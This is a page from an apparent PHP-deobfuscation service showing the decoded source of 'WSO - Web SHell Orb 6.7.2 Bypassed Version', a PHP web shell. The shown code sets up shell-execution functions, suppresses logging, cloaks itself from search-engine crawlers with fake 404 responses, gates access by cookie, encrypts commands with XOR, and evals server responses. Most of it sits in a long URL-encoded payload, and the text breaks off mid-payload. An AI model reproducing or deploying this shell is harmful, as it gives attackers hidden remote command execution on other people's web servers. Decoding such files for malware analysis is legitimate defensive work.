Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* @title WSO - Web SHell Orb 6.7.2 Bypassed Version + Cleaned @package - D..

Decoded Output download

<?php 
 
 
/* 
 
@title WSO - Web SHell Orb 6.7.2 Bypassed Version + Cleaned 
@package - Digicorp Security 
@version - 6.7.2 
 
*/ 
$tinh = array( 
	"exec", // 0 
	"passthru", // 1 
	"system", // 2 
	"shell_exec", // 3 
	"pclose", // 4 
	"popen", // 5 
	"function_exists", // 6 
	"iconv", // 7 
	"md5", // 8 
	"decrypt", // 9 
	"setcookie", // 10 
	"ini_set", // 11 
	"ini_get", // 12 
	"prototype", // 13 
	"htmlspecialchars", // 14 
	"get_current_user", // 15 
	"getmyuid", // 16 
	"getmygid", // 17 
	"posix_getpwuid", // 18 
	"posix_getgrgid", // 19 
	"posix_geteuid", // 20 
	"posix_getegid", // 21 
	"php_uname", // 22 
	"diskfreespace", // 23 
	"disk_total_space", // 24 
	"getcwd", // 25 
	"set_time_limit", // 26 
	"strtolower", // 27 
	"strlen", // 28 
	"strpos", // 29 
	"base64_decode" // 30 
); 
 
// $GLOBALS['tinh'][angka_togel] 
@$GLOBALS['tinh'][11]('error_log', NULL); 
@$GLOBALS['tinh'][11]('log_errors', 0); 
@$GLOBALS['tinh'][11]('max_execution_time', 0); 
@$GLOBALS['tinh'][11]('output_buffering', 0); 
@$GLOBALS['tinh'][11]('display_errors', 0); 
@$GLOBALS['tinh'][11]('ignore_user_abort', 1); 
$ = "2503cd7091fd55321ba7725fabcc5a04"; // m d 5 
$ = true; 
$ = 'UTF-8'; 
$ = 'FilesMan'; 
$ = $GLOBALS['tinh'][8]($_SERVER['HTTP_USER_AGENT']); 
@define('TITLE', 'Phyaaaaaa  <3'); 
@define('VERSION', '6.7.2'); 
@define('COLOR', '#ff9900'); 
@define('COLOR_2', '#e6b000'); 
$arr = "%3C%3Fphp%0Aif%20%28!isset%28%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%29%29%20%7B%20%24GLOBALS%5B%22tinh%22%5D%5B13%5D%28%20%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%2C%20%24%E2%96%99%20%29%3B%20%7D%20if%20%28empty%28%24%5fPOST%5B%22charset%22%5D%29%29%20%7B%20%24%5fPOST%5B%22charset%22%5D%20%3D%20%24%E2%96%9C%3B%20%7D%20if%20%28!isset%28%24%5fPOST%5B%22ne%22%5D%29%29%20%7B%20if%20%28isset%28%24%5fPOST%5B%22a%22%5D%29%29%20%7B%20%24%5fPOST%5B%22a%22%5D%20%3D%20%24GLOBALS%5B%22tinh%22%5D%5B7%5D%28%20%22utf-8%22%2C%20%24%5fPOST%5B%22charset%22%5D%2C%20%24GLOBALS%5B%22tinh%22%5D%5B9%5D%28%20%24%5fPOST%5B%22a%22%5D%2C%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%20%29%20%29%3B%20%7D%20if%20%28isset%28%24%5fPOST%5B%22c%22%5D%29%29%20%7B%20%24%5fPOST%5B%22c%22%5D%20%3D%20%24GLOBALS%5B%22tinh%22%5D%5B7%5D%28%20%22utf-8%22%2C%20%24%5fPOST%5B%22charset%22%5D%2C%20%24GLOBALS%5B%22tinh%22%5D%5B9%5D%28%20%24%5fPOST%5B%22c%22%5D%2C%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%20%29%20%29%3B%20%7D%20if%20%28isset%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20%24%5fPOST%5B%22p1%22%5D%20%3D%20%24GLOBALS%5B%22tinh%22%5D%5B7%5D%28%20%22utf-8%22%2C%20%24%5fPOST%5B%22charset%22%5D%2C%20%24GLOBALS%5B%22tinh%22%5D%5B9%5D%28%20%24%5fPOST%5B%22p1%22%5D%2C%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%20%29%20%29%3B%20%7D%20if%20%28isset%28%24%5fPOST%5B%22p2%22%5D%29%29%20%7B%20%24%5fPOST%5B%22p2%22%5D%20%3D%20%24GLOBALS%5B%22tinh%22%5D%5B7%5D%28%20%22utf-8%22%2C%20%24%5fPOST%5B%22charset%22%5D%2C%20%24GLOBALS%5B%22tinh%22%5D%5B9%5D%28%20%24%5fPOST%5B%22p2%22%5D%2C%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%20%29%20%29%3B%20%7D%20if%20%28isset%28%24%5fPOST%5B%22p3%22%5D%29%29%20%7B%20%24%5fPOST%5B%22p3%22%5D%20%3D%20%24GLOBALS%5B%22tinh%22%5D%5B7%5D%28%20%22utf-8%22%2C%20%24%5fPOST%5B%22charset%22%5D%2C%20%24GLOBALS%5B%22tinh%22%5D%5B9%5D%28%20%24%5fPOST%5B%22p3%22%5D%2C%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%20%29%20%29%3B%20%7D%20%7D%20function%20decrypt%28%24str%2C%20%24pwd%29%20%7B%20%24pwd%20%3D%20base64%5fencode%28%24pwd%29%3B%20%24str%20%3D%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24str%29%3B%20%24enc%5fchr%20%3D%20%22%22%3B%20%24enc%5fstr%20%3D%20%22%22%3B%20%24i%20%3D%200%3B%20while%20%28%24i%20%3C%20%24GLOBALS%5B%22tinh%22%5D%5B28%5D%28%24str%29%29%20%7B%20for%20%28%24j%20%3D%200%3B%20%24j%20%3C%20%24GLOBALS%5B%22tinh%22%5D%5B28%5D%28%24pwd%29%3B%20%24j%2B%2B%29%20%7B%20%24enc%5fchr%20%3D%20chr%28ord%28%24str%5B%24i%5D%29%20%5E%20ord%28%24pwd%5B%24j%5D%29%29%3B%20%24enc%5fstr%20.%3D%20%24enc%5fchr%3B%20%24i%2B%2B%3B%20if%20%28%24i%20%3E%3D%20%24GLOBALS%5B%22tinh%22%5D%5B28%5D%28%24str%29%29%20%7B%20break%3B%20%7D%20%7D%20%7D%20return%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24enc%5fstr%29%3B%20%7D%20%40%24GLOBALS%5B%22tinh%22%5D%5B11%5D%28%22error%5flog%22%2C%20null%29%3B%20%40%24GLOBALS%5B%22tinh%22%5D%5B11%5D%28%22log%5ferrors%22%2C%200%29%3B%20%40%24GLOBALS%5B%22tinh%22%5D%5B11%5D%28%22max%5fexecution%5ftime%22%2C%200%29%3B%20%40%24GLOBALS%5B%22tinh%22%5D%5B26%5D%280%29%3B%20if%20%28version%5fcompare%28PHP%5fVERSION%2C%20%225.3.0%22%2C%20%22%3C%22%29%29%20%7B%20set%5fmagic%5fquotes%5fruntime%280%29%3B%20%7D%20if%20%28!%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22get%5fmagic%5fquotes%5fgpc%22%29%20%7C%7C%20get%5fmagic%5fquotes%5fgpc%28%29%29%20%7B%20function%20stripslashes%5farray%28%24array%29%20%7B%20return%20is%5farray%28%24array%29%20%3F%20array%5fmap%28%22stripslashes%5farray%22%2C%20%24array%29%20%3A%20stripslashes%28%24array%29%3B%20%7D%20%24%5fPOST%20%3D%20stripslashes%5farray%28%24%5fPOST%29%3B%20%24%5fCOOKIE%20%3D%20stripslashes%5farray%28%24%5fCOOKIE%29%3B%20%7D%20%24bcrypt%20%3D%20%5B%22cost%22%20%3D%3E%2012%5D%3B%20if%20%28!isset%28%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22ajax%22%5D%29%29%20%7B%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22ajax%22%5D%20%3D%20%28bool%29%20%24%E2%96%98%3B%20%7D%20function%20hardLogin%28%29%20%7B%20if%20%28!empty%28%24%5fSERVER%5B%22HTTP%5fUSER%5fAGENT%22%5D%29%29%20%7B%20%24userAgents%20%3D%20%5B%20%22Google%22%2C%20%22Slurp%22%2C%20%22MSNBot%22%2C%20%22ia%5farchiver%22%2C%20%22Yandex%22%2C%20%22Rambler%22%2C%20%5D%3B%20if%20%28%20preg%5fmatch%28%20%22%2F%22%20.%20implode%28%22%7C%22%2C%20%24userAgents%29%20.%20%22%2Fi%22%2C%20%24%5fSERVER%5B%22HTTP%5fUSER%5fAGENT%22%5D%20%29%20%29%20%7B%20header%28%22HTTP%2F1.0%20404%20Not%20Found%22%29%3B%20exit%28%29%3B%20%7D%20%7D%20%24GLOBALS%5B%22tinh%22%5D%5B10%5D%28%22felicia%22%2C%20%24password%2C%203600%29%3B%20header%28%22HTTP%2F1.0%20404%20Mau%20Ngapain%20Lurr%22%29%3B%20echo%20%22%3Cpre%3EInvalid%20Session%20-%20Seo%20Bawah%20Tanah%20%7C%20303%3C%2Fpre%3E%22%3B%20exit%28%29%3B%20%7D%20if%20%28%20isset%28%24%5fCOOKIE%5B%22felicia%22%5D%29%20%26%26%20%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fCOOKIE%5B%22felicia%22%5D%29%20%3D%3D%20%24%E2%96%9B%20%29%20%7B%20%24GLOBALS%5B%22tinh%22%5D%5B13%5D%28%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%2C%20%24%E2%96%9B%29%3B%20%7D%20if%20%28%20!isset%28%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%5D%29%20%7C%7C%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%5D%20!%3D%20%24%E2%96%9B%20%29%20%7B%20hardLogin%28%29%3B%20%7D%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B27%5D%28substr%28PHP%5fOS%2C%200%2C%203%29%29%20%3D%3D%20%22win%22%29%20%7B%20%24os%20%3D%20%22win%22%3B%20%7D%20else%20%7B%20%24os%20%3D%20%22nix%22%3B%20%7D%20%24safe%5fmode%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B12%5D%28%22safe%5fmode%22%29%3B%20if%20%28!%24safe%5fmode%29%20%7B%20error%5freporting%280%29%3B%20%7D%20%24disable%5ffunctions%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B12%5D%28%22disable%5ffunctions%22%29%3B%20%24home%5fcwd%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B25%5D%28%29%3B%20if%20%28isset%28%24%5fPOST%5B%22c%22%5D%29%29%20%7B%20%40chdir%28%24%5fPOST%5B%22c%22%5D%29%3B%20%7D%20%24cwd%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B25%5D%28%29%3B%20if%20%28%24os%20%3D%3D%20%22win%22%29%20%7B%20%24home%5fcwd%20%3D%20str%5freplace%28%22%5C%5C%22%2C%20%22%2F%22%2C%20%24home%5fcwd%29%3B%20%24cwd%20%3D%20str%5freplace%28%22%5C%5C%22%2C%20%22%2F%22%2C%20%24cwd%29%3B%20%7D%20if%20%28%24cwd%5B%24GLOBALS%5B%22tinh%22%5D%5B28%5D%28%24cwd%29%20-%201%5D%20!%3D%20%22%2F%22%29%20%7B%20%24cwd%20.%3D%20%22%2F%22%3B%20%7D%20function%20hardHeader%28%29%20%7B%20if%20%28empty%28%24%5fPOST%5B%22charset%22%5D%29%29%20%7B%20%24%5fPOST%5B%22charset%22%5D%20%3D%20%24GLOBALS%5B%22%E2%96%9C%22%5D%3B%20%7D%20echo%20%22%3Chtml%3E%3Chead%3E%3Cmeta%20http-equiv%3D%27Content-Type%27%20content%3D%27text%2Fhtml%3B%20charset%3D%22%20.%20%24%5fPOST%5B%22charset%22%5D%20.%20%22%27%3E%3Ctitle%3E%20%22.%20TITLE%20.%22%20-%20%22%20.%20VERSION%20.%20%22%3C%2Ftitle%3E%0A%3Cstyle%3E%0A%09body%20%7Bbackground-color%3A%230d0d0d%3B%20color%3A%23e1e1e1%3B%20margin%3A0%3B%20font%3Anormal%2075%25%20Arial%2C%20Helvetica%2C%20sans-serif%3B%20%7D%20canvas%7B%20display%3A%20block%3B%20vertical-align%3A%20bottom%3B%7D%0A%09%23particles-js%7Bwidth%3A%20100%25%3B%20height%3A%20100px%3B%20background-color%3A%20%230d0d0d%3B%20background-image%3A%20url%28%27%27%29%3B%20background-repeat%3A%20no-repeat%3B%20background-size%3A%20cover%3B%20background-position%3A%2050%25%2050%25%3B%7D%0A%09body%2Ctd%2Cth%09%7Bfont%3A10pt%20tahoma%2Carial%2Cverdana%2Csans-serif%2CLucida%20Sans%3Bmargin%3A0%3Bvertical-align%3Atop%3B%7D%0A%09table.info%09%7Bcolor%3A%23ffffff%3B%7D%0A%09table%23toolsTbl%20%7Bbackground-color%3A%20%230d0d0d%3B%7D%0A%09span%2Ch1%2Ca%09%7Bcolor%3A%22.COLOR.%22%20!important%3B%7D%0A%09span%09%09%7Bfont-weight%3Abolder%3B%7D%0A%09h1%09%09%09%7Bborder-left%3A5px%20solid%20%23ff5e00d9%3Bpadding%3A2px%205px%3Bfont%3A14pt%20Verdana%3Bbackground-color%3A%2310151c%3Bmargin%3A0px%3B%7D%0A%09div.content%09%7Bpadding%3A5px%3Bmargin-left%3A5px%3Bbackground-color%3A%230d0d0d%3B%7D%0A%09a%09%09%09%7Btext-decoration%3Anone%3B%7D%0A%09a%3Ahover%09%09%7Btext-decoration%3Aunderline%3B%7D%0A%09.tooltip%3A%3Aafter%20%7Bbackground%3A%230663D5%3Bcolor%3A%23FFF%3Bcontent%3A%20attr%28data-tooltip%29%3Bmargin-top%3A-50px%3Bdisplay%3Ablock%3Bpadding%3A6px%2010px%3Bposition%3Aabsolute%3Bvisibility%3Ahidden%3B%7D%0A%09.tooltip%3Ahover%3A%3Aafter%20%7Bopacity%3A1%3Bvisibility%3Avisible%3B%7D%0A%09.ml1%09%09%7Bborder%3A1px%20solid%20%23202832%3Bpadding%3A5px%3Bmargin%3A0%3Boverflow%3Aauto%3B%7D%0A%09.bigarea%09%7Bmin-width%3A100%25%3Bmax-width%3A100%25%3Bheight%3A400px%3B%7D%0A%09input%2C%20textarea%2C%20select%09%7Bmargin%3A0%3Bcolor%3A%23fff%3Bbackground-color%3A%23202832%3Bborder%3Anone%3Bfont%3A9pt%20Courier%20New%3Boutline%3Anone%3B%7D%0A%09label%20%7Bposition%3Arelative%7D%0A%09label%3Aafter%20%7Bcontent%3A%27%3C%3E%27%3Bfont%3A10px%20%27Consolas%27%2C%20monospace%3Bcolor%3A%23fff%3B-webkit-transform%3Arotate%2890deg%29%3B-moz-transform%3Arotate%2890deg%29%3B-ms-transform%3Arotate%2890deg%29%3Btransform%3Arotate%2890deg%29%3Bright%3A3px%3B%20top%3A3px%3Bpadding%3A0%3Bposition%3Aabsolute%3Bpointer-events%3Anone%3B%7D%0A%09label%3Abefore%20%7Bcontent%3A%27%27%3Bright%3A0%3B%20top%3A0%3Bwidth%3A17px%3B%20height%3A17px%3Bbackground%3A%23202832%3Bposition%3Aabsolute%3Bpointer-events%3Anone%3Bdisplay%3Ablock%3B%7D%0A%09form%09%09%7Bmargin%3A0px%3B%7D%0A%09%23toolsTbl%09%7Btext-align%3Acenter%3B%7D%0A%09%23fak%20%09%09%7Bbackground%3Anone%3B%7D%0A%09%23fak%20td%20%09%7Bpadding%3A5px%200%200%200%3B%7D%0A%09iframe%09%09%7Bborder%3A1px%20solid%20%230d0d0d%3B%7D%0A%09.toolsInp%09%7Bwidth%3A300px%7D%0A%09.main%20th%09%7Btext-align%3Aleft%3Bbackground-color%3A%230d0d0d%3B%7D%0A%09.main%20tr%3Ahover%7Bbackground-color%3A%23373c42%3B%7D%0A%09.main%20td%2C%20th%7Bvertical-align%3Amiddle%3B%7D%0A%09input%5Btype%3D%27submit%27%5D%7Bbackground-color%3A%23ff5e00d9%3B%7D%0A%09input%5Btype%3D%27button%27%5D%7Bbackground-color%3A%23ff5e00d9%3B%7D%0A%09input%5Btype%3D%27submit%27%5D%3Ahover%7Bbackground-color%3A%23ff5e00d9%3B%7D%0A%09input%5Btype%3D%27button%27%5D%3Ahover%7Bbackground-color%3A%23ff5e00d9%3B%7D%0A%09.l1%09%09%09%7Bbackground-color%3A%23202832%3B%7D%0A%09pre%09%09%09%7Bfont%3A9pt%20Courier%20New%3B%7D%0A%3C%2Fstyle%3E%0A%3Cscript%3E%0A%20%20%20%20var%20c%5f%20%3D%20%27%22%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24GLOBALS%5B%22cwd%22%5D%29%20.%20%22%27%3B%0A%20%20%20%20var%20a%5f%20%3D%20%27%22%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%40%24%5fPOST%5B%22a%22%5D%29%20.%20%22%27%0A%20%20%20%20var%20charset%5f%20%3D%20%27%22%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%40%24%5fPOST%5B%22charset%22%5D%29%20.%20%22%27%3B%0A%20%20%20%20var%20p1%5f%20%3D%20%27%22%20.%20%28%24GLOBALS%5B%22tinh%22%5D%5B29%5D%28%40%24%5fPOST%5B%22p1%22%5D%2C%20%22%5Cn%22%29%20!%3D%3D%20false%20%3F%20%22%22%20%3A%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24%5fPOST%5B%22p1%22%5D%2C%20ENT%5fQUOTES%29%29%20.%20%22%27%3B%0A%20%20%20%20var%20p2%5f%20%3D%20%27%22%20.%20%28%24GLOBALS%5B%22tinh%22%5D%5B29%5D%28%40%24%5fPOST%5B%22p2%22%5D%2C%20%22%5Cn%22%29%20!%3D%3D%20false%20%3F%20%22%22%20%3A%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24%5fPOST%5B%22p2%22%5D%2C%20ENT%5fQUOTES%29%29%20.%20%22%27%3B%0A%20%20%20%20var%20p3%5f%20%3D%20%27%22%20.%20%28%24GLOBALS%5B%22tinh%22%5D%5B29%5D%28%40%24%5fPOST%5B%22p3%22%5D%2C%20%22%5Cn%22%29%20!%3D%3D%20false%20%3F%20%22%22%20%3A%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24%5fPOST%5B%22p3%22%5D%2C%20ENT%5fQUOTES%29%29%20.%20%22%27%3B%0A%20%20%20%20var%20d%20%3D%20document%3B%0A%09function%20encrypt%28str%2Cpwd%29%7Bif%28pwd%3D%3Dnull%7C%7Cpwd.length%3C%3D0%29%7Breturn%20null%3B%7Dstr%3Dbase64%5fencode%28str%29%3Bpwd%3Dbase64%5fencode%28pwd%29%3Bvar%20enc%5fchr%3D%27%27%3Bvar%20enc%5fstr%3D%27%27%3Bvar%20i%3D0%3Bwhile%28i%3Cstr.length%29%7Bfor%28var%20j%3D0%3Bj%3Cpwd.length%3Bj%2B%2B%29%7Benc%5fchr%3Dstr.charCodeAt%28i%29%5Epwd.charCodeAt%28j%29%3Benc%5fstr%2B%3DString.fromCharCode%28enc%5fchr%29%3Bi%2B%2B%3Bif%28i%3E%3Dstr.length%29break%3B%7D%7Dreturn%20base64%5fencode%28enc%5fstr%29%3B%7D%0A%09function%20utf8%5fencode%28argString%29%7Bvar%20string%3D%28argString%2B%27%27%29%3Bvar%20utftext%3D%27%27%2Cstart%2Cend%2Cstringl%3D0%3Bstart%3Dend%3D0%3Bstringl%3Dstring.length%3Bfor%28var%20n%3D0%3Bn%3Cstringl%3Bn%2B%2B%29%7Bvar%20c1%3Dstring.charCodeAt%28n%29%3Bvar%20enc%3Dnull%3Bif%28c1%3C128%29%7Bend%2B%2B%3B%7Delse%20if%28c1%3E127%26%26c1%3C2048%29%7Benc%3DString.fromCharCode%28%28c1%3E%3E6%29%7C192%29%2BString.fromCharCode%28%28c1%2663%29%7C128%29%3B%7Delse%7Benc%3DString.fromCharCode%28%28c1%3E%3E12%29%7C224%29%2BString.fromCharCode%28%28%28c1%3E%3E6%29%2663%29%7C128%29%2BString.fromCharCode%28%28c1%2663%29%7C128%29%3B%7Dif%28enc!%3D%3Dnull%29%7Bif%28end%3Estart%29%7Butftext%2B%3Dstring.slice%28start%2Cend%29%3B%7Dutftext%2B%3Denc%3Bstart%3Dend%3Dn%2B1%3B%7D%7Dif%28end%3Estart%29%7Butftext%2B%3Dstring.slice%28start%2Cstringl%29%3B%7Dreturn%20utftext%3B%7D%0A%09function%20base64%5fencode%28data%29%7Bvar%20b64%20%3D%20%27ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%2B%2F%3D%27%3Bvar%20o1%2Co2%2Co3%2Ch1%2Ch2%2Ch3%2Ch4%2Cbits%2Ci%3D0%2Cac%3D0%2Cenc%3D%27%27%2Ctmp%5farr%3D%5B%5D%3Bif%20%28!data%29%7Breturn%20data%3B%7Ddata%3Dutf8%5fencode%28data%2B%27%27%29%3Bdo%7Bo1%3Ddata.charCodeAt%28i%2B%2B%29%3Bo2%3Ddata.charCodeAt%28i%2B%2B%29%3Bo3%3Ddata.charCodeAt%28i%2B%2B%29%3Bbits%3Do1%3C%3C16%7Co2%3C%3C8%7Co3%3Bh1%3Dbits%3E%3E18%260x3f%3Bh2%3Dbits%3E%3E12%260x3f%3Bh3%3Dbits%3E%3E6%260x3f%3Bh4%3Dbits%260x3f%3Btmp%5farr%5Bac%2B%2B%5D%3Db64.charAt%28h1%29%2Bb64.charAt%28h2%29%2Bb64.charAt%28h3%29%2Bb64.charAt%28h4%29%3B%7Dwhile%28i%3Cdata.length%29%3Benc%3Dtmp%5farr.join%28%27%27%29%3Bswitch%20%28data.length%253%29%7Bcase%201%3Aenc%3Denc.slice%280%2C-2%29%2B%27%3D%3D%27%3Bbreak%3Bcase%202%3Aenc%3Denc.slice%280%2C-1%29%2B%27%3D%27%3Bbreak%3B%7Dreturn%20enc%3B%7D%0A%09function%20set%28a%2Cc%2Cp1%2Cp2%2Cp3%2Ccharset%29%20%7B%0A%09%09if%28a!%3Dnull%29d.mf.a.value%3Da%3Belse%20d.mf.a.value%3Da%5f%3B%0A%09%09if%28c!%3Dnull%29d.mf.c.value%3Dc%3Belse%20d.mf.c.value%3Dc%5f%3B%0A%09%09if%28p1!%3Dnull%29d.mf.p1.value%3Dp1%3Belse%20d.mf.p1.value%3Dp1%5f%3B%0A%09%09if%28p2!%3Dnull%29d.mf.p2.value%3Dp2%3Belse%20d.mf.p2.value%3Dp2%5f%3B%0A%09%09if%28p3!%3Dnull%29d.mf.p3.value%3Dp3%3Belse%20d.mf.p3.value%3Dp3%5f%3B%0A%09%09d.mf.a.value%20%3D%20encrypt%28d.mf.a.value%2C%27%22%20.%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%20.%20%22%27%29%3B%0A%09%09d.mf.c.value%20%3D%20encrypt%28d.mf.c.value%2C%27%22%20.%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%20.%20%22%27%29%3B%0A%09%09d.mf.p1.value%20%3D%20encrypt%28d.mf.p1.value%2C%27%22%20.%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%20.%20%22%27%29%3B%0A%09%09d.mf.p2.value%20%3D%20encrypt%28d.mf.p2.value%2C%27%22%20.%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%20.%20%22%27%29%3B%0A%09%09d.mf.p3.value%20%3D%20encrypt%28d.mf.p3.value%2C%27%22%20.%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%20.%20%22%27%29%3B%0A%09%09if%28charset!%3Dnull%29d.mf.charset.value%3Dcharset%3Belse%20d.mf.charset.value%3Dcharset%5f%3B%0A%09%7D%0A%09function%20g%28a%2Cc%2Cp1%2Cp2%2Cp3%2Ccharset%29%20%7B%0A%09%09set%28a%2Cc%2Cp1%2Cp2%2Cp3%2Ccharset%29%3B%0A%09%09d.mf.submit%28%29%3B%0A%09%7D%0A%09function%20a%28a%2Cc%2Cp1%2Cp2%2Cp3%2Ccharset%29%20%7B%0A%09%09set%28a%2Cc%2Cp1%2Cp2%2Cp3%2Ccharset%29%3B%0A%09%09var%20params%20%3D%20%27ajax%3Dtrue%27%3B%0A%09%09for%28i%3D0%3Bi%3Cd.mf.elements.length%3Bi%2B%2B%29%0A%09%09%09params%20%2B%3D%20%27%26%27%2Bd.mf.elements%5Bi%5D.name%2B%27%3D%27%2BencodeURIComponent%28d.mf.elements%5Bi%5D.value%29%3B%0A%09%09sr%28%27%22%20.%20addslashes%28%24%5fSERVER%5B%22REQUEST%5fURI%22%5D%29%20.%20%22%27%2C%20params%29%3B%0A%09%7D%0A%09function%20sr%28url%2C%20params%29%20%7B%0A%09%09if%20%28window.XMLHttpRequest%29%0A%09%09%09req%20%3D%20new%20XMLHttpRequest%28%29%3B%0A%09%09else%20if%20%28window.ActiveXObject%29%0A%09%09%09req%20%3D%20new%20ActiveXObject%28%27Microsoft.XMLHTTP%27%29%3B%0A%20%20%20%20%20%20%20%20if%20%28req%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20req.onreadystatechange%20%3D%20processReqChange%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20req.open%28%27POST%27%2C%20url%2C%20true%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20req.setRequestHeader%20%28%27Content-Type%27%2C%20%27application%2Fx-www-form-urlencoded%27%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20req.send%28params%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%09%7D%0A%09function%20processReqChange%28%29%20%7B%0A%09%09if%28%20%28req.readyState%20%3D%3D%204%29%20%29%0A%09%09%09if%28req.status%20%3D%3D%20200%29%20%7B%0A%09%09%09%09var%20reg%20%3D%20new%20RegExp%28%5C%22%28%5C%5C%5C%5Cd%2B%29%28%5B%5C%5C%5C%5CS%5C%5C%5C%5Cs%5D%2a%29%5C%22%2C%20%27m%27%29%3B%0A%09%09%09%09var%20arr%3Dreg.exec%28req.responseText%29%3B%0A%09%09%09%09eval%28arr%5B2%5D.substr%280%2C%20arr%5B1%5D%29%29%3B%0A%09%09%09%7D%20else%20alert%28%27Request%20error!%27%29%3B%0A%09%7D%0A%3C%2Fscript%3E%0A%3Chead%3E%3Cbody%3E%3Cdiv%20style%3D%27position%3Aabsolute%3Bbackground-color%3Argba%2895%2C%20110%2C%20130%2C%200.3%29%3Bwidth%3A100%25%3Btop%3A0%3Bleft%3A0%3B%27%3E%0A%3Cform%20method%3Dpost%20name%3Dmf%20style%3D%27display%3Anone%3B%27%3E%0A%3Cinput%20type%3Dhidden%20name%3Da%3E%0A%3Cinput%20type%3Dhidden%20name%3Dc%3E%0A%3Cinput%20type%3Dhidden%20name%3Dp1%3E%0A%3Cinput%20type%3Dhidden%20name%3Dp2%3E%0A%3Cinput%20type%3Dhidden%20name%3Dp3%3E%0A%3Cinput%20type%3Dhidden%20name%3Dcharset%3E%0A%3C%2Fform%3E%22%3B%20%24freeSpace%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B23%5D%28%24GLOBALS%5B%22cwd%22%5D%29%3B%20%24totalSpace%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B24%5D%28%24GLOBALS%5B%22cwd%22%5D%29%3B%20%24totalSpace%20%3D%20%24totalSpace%20%3F%20%24totalSpace%20%3A%201%3B%20%24release%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B22%5D%28%22r%22%29%3B%20%24kernel%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B22%5D%28%22s%22%29%3B%20%24explink%20%3D%20%22https%3A%2F%2Fwww.exploit-db.com%2Fsearch%2F%3Faction%3Dsearch%26description%3D%22%3B%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B29%5D%28%22Linux%22%2C%20%24kernel%29%20!%3D%3D%20false%29%20%7B%20%24explink%20.%3D%20urlencode%28%22Linux%20Kernel%20%22%20.%20substr%28%24release%2C%200%2C%206%29%29%3B%20%7D%20else%20%7B%20%24explink%20.%3D%20urlencode%28%24kernel%20.%20%22%20%22%20.%20substr%28%24release%2C%200%2C%203%29%29%3B%20%7D%20if%20%28!%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22posix%5fgetegid%22%29%29%20%7B%20%24user%20%3D%20%40get%5fcurrent%5fuser%28%29%3B%20%24uid%20%3D%20%40%24GLOBALS%5B%